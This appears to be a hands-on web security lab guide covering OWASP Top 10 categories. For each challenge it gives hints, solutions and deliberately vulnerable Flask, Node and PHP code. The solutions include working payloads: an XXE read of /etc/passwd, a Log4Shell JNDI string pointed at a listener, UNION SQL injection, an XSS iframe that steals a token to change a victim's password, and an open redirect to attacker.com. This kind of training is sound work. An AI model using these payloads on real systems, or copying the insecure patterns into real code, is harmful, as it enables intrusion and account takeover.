Challenges¶
Home page
Home page: http://index.lab.citadelo.sk
Tools, payloads and resources
Burp Suite installer version is recommended - there is Java bundle
BurpSuite Common Issues
Windows - Burp Suite -> Proxy -> Proxy Settings -> Proxy Listeners -> Suppor HTTP/2 - disabled
Windows - Issue with Burp Browser - stops loading resources after a while (20230629), open chrome from commandline: google-chrome.exe --proxy-server=127.0.0.1:8080 --ignore-certificate-errors
A01:2025 - Broken Access Control¶
Juice Shop - Got your Basket¶
URL: http://juice-shop.lab.citadelo.sk/
Find a way how to view foreign basket. Login and add some item to your basket and investgate further. Login: http://juice-shop.lab.citadelo.sk/#/login
Hint
How does reference my basket? Where is stored this information?
Solution
- Log in as any user.
- Put some products into your shopping basket.
- Inspect the Session Storage in your browser's developer tools to find a numeric
bidvalue. - Change the
bid, e.g. by adding or subtracting 1 from its value. - Visit http://juice-shop.lab.citadelo.sk/#/basket to solve the challenge.
Source code
module.exports = function retrieveBasket () {
return (req: Request, res: Response, next: NextFunction) => {
const id = req.params.id
BasketModel.findOne({ where: { id }, include: [{ model: ProductModel, paranoid: false, as: 'Products' }] })
.then((basket: BasketModel | null) => {
/* jshint eqeqeq:false */
if (((basket?.Products) != null) && basket.Products.length > 0) {
for (let i = 0; i < basket.Products.length; i++) {
basket.Products[i].name = req.__(basket.Products[i].name)
}
}
res.json(utils.queryResultToJson(basket))
}).catch((error: Error) => {
next(error)
})
}
}
Redirect Me - Open redirect¶
URL: http://redirectme.lab.citadelo.sk
The app allows you to redirect two 2 destinations.
Hint
It is wrong implemented whitelist.
Solution
Try URL like: http://redirectme.lab.citadelo.sk/goto?url=http://attacker.com/?http://citadelo.com/en/cve/
Source code
whitelisted_urls = {
"CVEs": "http://citadelo.com/en/cve/",
"Citadelo Blog": "http://citadelo.com/en/blog/",
"Citadelo Services": "http://citadelo.com/en/our-services/"
}
@app.route('/goto', methods=['GET'])
def goto():
redirect_url = request.args.get('url')
for _, url in whitelisted_urls.items():
if url in redirect_url:
return redirect(redirect_url, 302)
else:
flash('Invalid redirect URL')
return redirect(url_for('index'))
Juice Shop - Profile CSRF - Legacy Thing¶
URL: http://juice-shop.lab.citadelo.sk/
- register new user and login
- go to profile find out how to change username by malicious actor
Hint
Are there CSRF Tokens?
But check the cookie flags. (works only in Safari)
Solution
Login as your user http://juice-shop.lab.citadelo.sk/#/login. Then open new tab and enter following script on http://poc.lab.citadelo.sk
PoC:
PDF Generator - SSRF¶
URL: http://pdf.lab.citadelo.sk
Play with PDF generator. Check Wiki page.
Hint
Yes you can enter HTML tags. Play with them, try to load something else.
Solution #1
Yes, you can not load wiki directly. Use iframe for PDF generator. But on which port does it run?
Check if you can load something like:
Now dig deeper.
Solution #2
Load wiki page from local host:
Now dig deeper.
Solution #3
Load internal host:
Source code
@app.route('/preview', methods=('GET', 'POST'))
def preview():
if request.method == 'POST':
content = request.form['content']
if not content:
flash('PDF content is required!')
else:
pdf_content = pdfkit.from_string(content)
response = make_response(pdf_content)
response.headers["Content-Type"] = "application/pdf"
response.headers["Content-Disposition"] = "inline; filename=output.pdf"
return response
return render_template('preview.html')
@app.route('/wiki')
def wiki():
if request.remote_addr == '127.0.0.1':
return render_template('wiki.html')
else:
flash('Access allowed only from 127.0.0.1!')
return redirect(url_for('index'))
A02:2025 - Security Misconfiguration¶
Forgotten - Unreferenced files¶
URL: http://forgotten.lab.citadelo.sk
Try to find unreferenced files. You can use Burp Intruder. Copy and paste the following wordlist into intruder payload set.
Wordlist to use
Hint
Investigate HTML source for available paths. And brute them.
Hint #2
Yes there is reference to /static/style.css. Hmm /static?
Discount - Read the ultimate discount¶
URL: http://discount.lab.citadelo.sk
There is an option to access files from document root. I will not tell you how. I recommend you to focus on what kind of tech does it use, what language is it written.
Hint
You probably noticed or guessed that it is python app. What are the common python files on the server?
Source code
from flask import Flask, render_template, request, jsonify
import json
app = Flask(__name__, static_folder='')
# Hardcoded discount codes (in a real app, these would be in a database)
DISCOUNT_CODES = {
'XXX': 10,
'DDD': 20,
'FFF': 100
}
# Product details
PRODUCT = {
'name': 'Pro Text Editor License',
'base_price': 99.99,
'description': 'Professional text editor with advanced features'
}
def calculate_total_discount(discount_codes):
total_discount = 0
valid_codes = []
for code in discount_codes:
code = code.strip().upper()
if code in DISCOUNT_CODES:
total_discount += DISCOUNT_CODES[code]
valid_codes.append(code)
# Cap total discount at 100%
total_discount = min(total_discount, 100)
return total_discount, valid_codes
@app.route('/')
def index():
return render_template('index.html', product=PRODUCT)
@app.route('/check_discount', methods=['POST'])
def check_discount():
data = request.get_json()
discount_codes = data.get('discount_codes', [])
if not isinstance(discount_codes, list):
discount_codes = [discount_codes]
total_discount, valid_codes = calculate_total_discount(discount_codes)
final_price = PRODUCT['base_price'] * (1 - total_discount/100)
if valid_codes:
return jsonify({
'valid': True,
'discount': total_discount,
'final_price': round(final_price, 2),
'valid_codes': valid_codes
})
return jsonify({
'valid': False,
'message': 'No valid discount codes found'
})
@app.route('/purchase', methods=['POST'])
def purchase():
discount_codes = request.form.getlist('discount_codes[]')
final_price = PRODUCT['base_price']
total_discount, valid_codes = calculate_total_discount(discount_codes)
final_price = final_price * (1 - total_discount/100)
return render_template('success.html',
product=PRODUCT,
price=round(final_price, 2),
discount_codes=valid_codes if valid_codes else None,
total_discount=total_discount if valid_codes else None)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
Feedback - Send your feedback¶
Send feedback and check what is going on.
URL: http://feedback.lab.citadelo.sk
Hint
Does it accept XML? If yes, play with it. And exfil some data.
Solution
Play with external entity. Define external and and reference it.
Reference external entity:
PoC:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE feedback [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<feedback>
<name>&xxe;</name>
<email>test@example.com</email>
<message>Test</message>
<rating>5</rating>
</feedback>
PoC 2:
Source code
from flask import Flask, render_template, request, jsonify
from lxml import etree
import io
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/submit_feedback', methods=['POST'])
def submit_feedback():
try:
# Get XML data from request
xml_data = request.data
parser = etree.XMLParser(resolve_entities=True)
tree = etree.parse(io.BytesIO(xml_data), parser)
root = tree.getroot()
# Extract feedback data
name = root.find('name').text
email = root.find('email').text
message = root.find('message').text
rating = root.find('rating').text
feedback = {
'name': name,
'email': email,
'message': message,
'rating': rating
}
return jsonify({
'status': 'success',
'message': 'Feedback received successfully',
'feedback': feedback
})
except Exception as e:
return jsonify({
'status': 'error',
'message': str(e)
}), 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
A03:2025 - Software Supply Chain Failures¶
Apache Solr¶
We have a kinda older Apache solr instance in our internal infra, nobody cares, it works, not accessible from the internet. But should we care?
URL: http://solr.lab.citadelo.sk
Hint
You see it a java App.
Hint #2
Find a version and search for vulnerabilities.
Solution
Try to open this URL. Your payload will be processed by log4j library and executed. Replace the IP address with your listener / HTTP server. E.g. python -m http.server 4444 or nc -nlvp 4444. Resources https://www.winmill.com/how-to-test-your-own-vulnerability-to-the-log4shell-attack-chain-in-apache-solr/.
URL: http://solr.lab.citadelo.sk/solr/admin/cores?action=${jndi:ldap://YOUR_IP_ADDRESS:4444/${sys:java.version}}
A04:2025 - Cryptographic Failures¶
Paywall Bypass¶
URL: http://paywall.lab.citadelo.sk
There is a payment paywall. Try to bypass it.
Hint
Did you notice a note parameter?
Solution
Source code
@app.route('/pay', methods=['GET'])
def pay():
purchase_id = request.args.get('purchase_id')
amount = request.args.get('amount')
note = request.args.get('note')
cur = request.args.get('cur')
hmac_sum = request.args.get('hmac_sum')
msg = purchase_id + amount + note + cur
hmac_sum_calculated = hmac.new(app.config['SECRET_KEY'].encode('utf-8'), msg.encode('utf-8'), 'SHA256').hexdigest()
if (hmac.compare_digest(hmac_sum, hmac_sum_calculated)):
flash('Success', 'ok')
rnum = urandom(24).hex()
msg = hmac_sum_calculated + rnum
approval = hmac.new(app.config['SECRET_KEY'].encode('utf-8'), msg.encode('utf-8'), 'SHA256').hexdigest()
return redirect(url_for('index') + f'?success={approval}&rnum={rnum}')
else:
flash('Invalid HMAC!!! Payment modified.')
return render_template('pay.html')
A05:2025 - Injection¶
Lazy guy - SQL Injection¶
URL: http://lazy.lab.citadelo.sk
Simple PHP login application. There are 2 users:
admintest
Try to login as both of them.
Hint
There is an SQL injection. Try harder.
Hint #2
Injection is in JSON keys. Both of them, but focus on password key. Try payloads
Solution - test
There is an SQL injection. The SQL injection is in key names, because of parametrized query construction.
Solution - admin
Same as for precious user just change username or use true condition.
If you would like to read more about it: http://liveoverflow.com/authentication-bypassing-in-codeigniter-due-to-empty-where-clause/
Source code
public function login()
{
$db = db_connect();
$request = \Config\Services::request();
$json = $request->getJSON(true);
if (is_null($json)) {
$json = array(
"username" => "",
"password" => "",
);
}
$query = $db->table('users')->getWhere($json, 1, 0);
$row = $query->getRowArray();
if(!$row) {
$this->response->setStatusCode(403)->setBody("not found");
} else {
return json_encode($row);
}
}
Juice shop - Search for more SQLi¶
URL:
Check the search API. Don't be fooled by client side queries.
SQLite cheat-sheet: http://index.lab.citadelo.sk/sqlite_injection.html
Hint
Here it is: http://juice-shop.lab.citadelo.sk/rest/products/search?q=apple - underlying server side API, calls
Solution
Check if union query works:
Find columns count:
')) UNION SELECT '1', '2', '3', '4', '5' --
')) UNION SELECT '1', '2', '3', '4', '5', '6' --
')) UNION SELECT '1', '2', '3', '4', '5', '6', '7' --
')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8' --
')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8', '9' --
Dump schema:
Dump users:
Source code
module.exports = function searchProducts () {
return (req: Request, res: Response, next: NextFunction) => {
let criteria: any = req.query.q === 'undefined' ? '' : req.query.q ?? ''
criteria = (criteria.length <= 200) ? criteria : criteria.substring(0, 200)
models.sequelize.query(`
SELECT * FROM Products WHERE (
(name LIKE '%${criteria}%' OR description LIKE '%${criteria}%')
AND deletedAt IS NULL
)
ORDER BY name`)
.then(([products]: any) => {
const dataString = JSON.stringify(products)
UserModel.findAll().then(data => {
const users = utils.queryResultToJson(data)
}).catch((error: Error) => {
next(error)
})
Calculator - Code injection¶
URL: http://calc.lab.citadelo.sk
Hint
How is the output calculated? Put there something unexpected.
Solution
Do arithmetic operations:
Identify issue:
Source code
Juice shop - Search and Exploit XSS¶
URL: http://juice-shop.lab.citadelo.sk/#/search?q=apple
There in an search functionality. Is it safe?
If it is not, change victim's password using this issue.
Hint
What is the issue, XSS?
Hint #2
We have XSS: <img src=x onerror=alert('xss')>
How to change users password, we need a token, yes? How to get it using javascript. Inspect page and found out.
Solution
Here are the steps:
- we have XSS in search field
- token is stored in
localStorage.getItem('token') - check how the password is changed, we now from previous issue that it is not required to enter the old one
Now just create proper XHR request to exploit victim:
<iframe src="javascript:xmlhttp = new XMLHttpRequest(); xmlhttp.open('GET', 'http://juice-shop.lab.citadelo.sk/rest/user/change-password?new=XSS&repeat=XSS'); xmlhttp.setRequestHeader('Authorization',`Bearer=${localStorage.getItem('token')}`); xmlhttp.send();"></iframe>
JS Code looks like:
javascript:xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET', 'http://juice-shop.lab.citadelo.sk/rest/user/change-password?new=XSS&repeat=XSS');
xmlhttp.setRequestHeader('Authorization',`Bearer=${localStorage.getItem('token')}`);
xmlhttp.send();
Verify it.
Welcome here¶
URL: http://window.lab.citadelo.sk/
Chech it out wha tcan you do here.
Hint
Its a default browsers behaviour. Sad but true, but it's very rare.
Solution
Here are the steps:
- open any page, like https://citadelo.com
- open console and type:
- set variable:
window.name="<img src=x onerror=alert()>"; - redirect tab to vulnerable page:
window.location = "http://127.0.0.1:8000/xss-name.html";
A06:2025 - Insecure Design¶
Discount - Buy a text editor¶
URL: http://discount.lab.citadelo.sk
There is a best text editor with discount. Found out how to deal with it. Here is your coupon SAVE10.
Hint
Yes we have a discount 10%, what if there is also anything else?
Hint #2
What about reuse attacks?
Solution
Yes, you can use more discounts at once, and they will be accumulated. But you can use same discount without any limits. It is only client side check.
name=me&
email=test%40test.com&
discount_codes%5B%5D=SAVE10&
discount_codes%5B%5D=SAVE10&
discount_codes%5B%5D=SAVE10&
discount_codes%5B%5D=SAVE10&
discount_codes%5B%5D=SAVE10&
discount_codes%5B%5D=SAVE10&
discount_codes%5B%5D=SAVE10&
discount_codes%5B%5D=SAVE10&
discount_codes%5B%5D=SAVE10&
discount_codes%5B%5D=SAVE10
Source code
from flask import Flask, render_template, request, jsonify
import json
app = Flask(__name__, static_folder='')
# Hardcoded discount codes (in a real app, these would be in a database)
DISCOUNT_CODES = {
'XXX': 10,
'DDD': 20,
'FFF': 100
}
# Product details
PRODUCT = {
'name': 'Pro Text Editor License',
'base_price': 99.99,
'description': 'Professional text editor with advanced features'
}
def calculate_total_discount(discount_codes):
total_discount = 0
valid_codes = []
for code in discount_codes:
code = code.strip().upper()
if code in DISCOUNT_CODES:
total_discount += DISCOUNT_CODES[code]
valid_codes.append(code)
# Cap total discount at 100%
total_discount = min(total_discount, 100)
return total_discount, valid_codes
@app.route('/')
def index():
return render_template('index.html', product=PRODUCT)
@app.route('/check_discount', methods=['POST'])
def check_discount():
data = request.get_json()
discount_codes = data.get('discount_codes', [])
if not isinstance(discount_codes, list):
discount_codes = [discount_codes]
total_discount, valid_codes = calculate_total_discount(discount_codes)
final_price = PRODUCT['base_price'] * (1 - total_discount/100)
if valid_codes:
return jsonify({
'valid': True,
'discount': total_discount,
'final_price': round(final_price, 2),
'valid_codes': valid_codes
})
return jsonify({
'valid': False,
'message': 'No valid discount codes found'
})
@app.route('/purchase', methods=['POST'])
def purchase():
discount_codes = request.form.getlist('discount_codes[]')
final_price = PRODUCT['base_price']
total_discount, valid_codes = calculate_total_discount(discount_codes)
final_price = final_price * (1 - total_discount/100)
return render_template('success.html',
product=PRODUCT,
price=round(final_price, 2),
discount_codes=valid_codes if valid_codes else None,
total_discount=total_discount if valid_codes else None)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
MFA - Try to login¶
URL: http://mfa.lab.citadelo.sk
There is a simple application with login and MFA support. Find a way how to bypass MFA, and access user profile.
Hint
Check what is returned after login.
Solution
What about to directly access home or admin page after you enter username and password?
Source code
you were too curious :P
A07:2025 - Authentication Failures¶
Empty - Authentication bypass¶
URL: http://empty.lab.citadelo.sk
Simple PHP login application. There are 2 users:
admintest
Try to login as both of them.
Hint
User test is not able to remember long password.
Solution - test
User same password as username.
Solution - admin
There is an logic issue in the code. It is sufficient to omit both keys username and password. Then the empty SQL where clause is build and used. First user is taken from database.
Use following JSON:
If you would like to read more about it: http://liveoverflow.com/authentication-bypassing-in-codeigniter-due-to-empty-where-clause/
Source code
public function login()
{
$db = db_connect();
$request = \Config\Services::request();
$json = $request->getJSON(true);
$where = [];
if(isset($json['username']) || isset($json['password'])) {
$where['username'] = $json['username'] ?? null;
$where['password'] = $json['password'] ?? null;
}
$query = $db->table('users')->getWhere($where, 1, 0);
$row = $query->getRowArray();
if(!$row) {
$this->response->setStatusCode(403)->setBody("not found");
} else {
return json_encode($row);
}
}
Password change¶
URL: http://juice-shop.lab.citadelo.sk/
Find an issue within password change.
Login: http://juice-shop.lab.citadelo.sk/#/login
Hint
Play with parameters. Are they required?
Solution
Original request: http://juice-shop.lab.citadelo.sk/rest/user/change-password?current=OLD&new=XXXXX&repeat=XXXXX
PoC: http://juice-shop.lab.citadelo.sk/rest/user/change-password?new=B&repeat=B yields a 200 success returning the updated user as JSON!
Source code
module.exports = function changePassword () {
return ({ query, headers, connection }: Request, res: Response, next: NextFunction) => {
const currentPassword = query.current
const newPassword = query.new
const newPasswordInString = newPassword?.toString()
const repeatPassword = query.repeat
if (!newPassword || newPassword === 'undefined') {
res.status(401).send(res.__('Password cannot be empty.'))
} else if (newPassword !== repeatPassword) {
res.status(401).send(res.__('New and repeated password do not match.'))
} else {
const token = headers.authorization ? headers.authorization.substr('Bearer='.length) : null
const loggedInUser = security.authenticatedUsers.get(token)
if (loggedInUser) {
if (currentPassword && security.hash(currentPassword) !== loggedInUser.data.password) {
res.status(401).send(res.__('Current password is not correct.'))
} else {
UserModel.findByPk(loggedInUser.data.id).then((user: UserModel | null) => {
if (user) {
user.update({ password: newPasswordInString }).then((user: UserModel) => {
res.json({ user })
}).catch((error: Error) => {
next(error)
})
}
}).catch((error: Error) => {
next(error)
})
}
} else {
next(new Error('Blocked illegal activity by ' + connection.remoteAddress))
}
}
}
}
Login as someone else¶
URL: http://login.lab.citadelo.sk
There is a simple application with login and signup. There are already 2 users demo@example.com and admin@example.com. Try to bypass authentication.
Hint
Maybe there is a anti-pattern.
Solution
Invoke error during authentication with valid username.
Source code
@app.route('/login',methods=['POST'])
def login_post():
try:
email = request.form['email']
password = request.form['password']
user = User.query.filter_by(email=email).first()
if not user:
flash('Invalid email or password', 'error')
return redirect('/login')
stored_password = user.password
if stored_password == password:
logger.info(f"Successful login for user: {email}")
login_user(user)
return redirect('/')
else:
flash('Invalid email or password', 'error')
return redirect('/login')
except Exception as e:
logger.error(f"Exception during login for {email}: {str(e)}")
logger.info(f"Granting access due to system error for user: {email}")
user = User.query.filter_by(email=email).first()
if user:
login_user(user)
flash('Login successful (system recovery mode)', 'success')
return redirect('/')
else:
flash('User not found', 'error')
return redirect('/login')
A09:2025 - Security Logging and Alerting Failures¶
Sensitive data logged¶
URL: http://juice-shop.lab.citadelo.sk/support/logs
Download application logs and find out sensitive data.
Solution
Find method change-password - password from GET params
Juice shop - More Challenges¶
http://pwning.owasp-juice.shop/companion-guide/latest/index.html